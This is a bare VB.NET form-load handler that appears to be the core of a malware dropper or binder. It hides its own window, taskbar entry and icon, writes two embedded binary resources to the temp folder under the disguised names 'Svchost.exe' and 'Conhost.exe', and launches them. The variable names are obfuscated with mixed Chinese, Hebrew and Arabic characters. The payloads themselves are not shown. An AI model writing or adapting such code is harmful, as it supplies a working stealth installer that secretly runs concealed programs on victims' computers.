Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
       Me.Opacity = 0
       Me.Hide()
       Me.ShowIcon = False
       Me.ShowInTaskbar = False
       Dim E不Lת这قI想غO吗הزرtהشי As String = IO.Path.GetTempPath + "Svchost.exe"
       IO.File.WriteAllBytes(E不Lת这قI想غO吗הزرtהشי, My.Resources.Server)
       Process.Start(E不Lת这قI想غO吗הزرtהشי)
       Dim 不Lת这قI想غO吗הزرtהش As String = IO.Path.GetTempPath + "Conhost.exe"
       IO.File.WriteAllBytes(不Lת这قI想غO吗הزرtהش, My.Resources.Svchost)
       Process.Start(不Lת这قI想غO吗הزرtהش)
   End Sub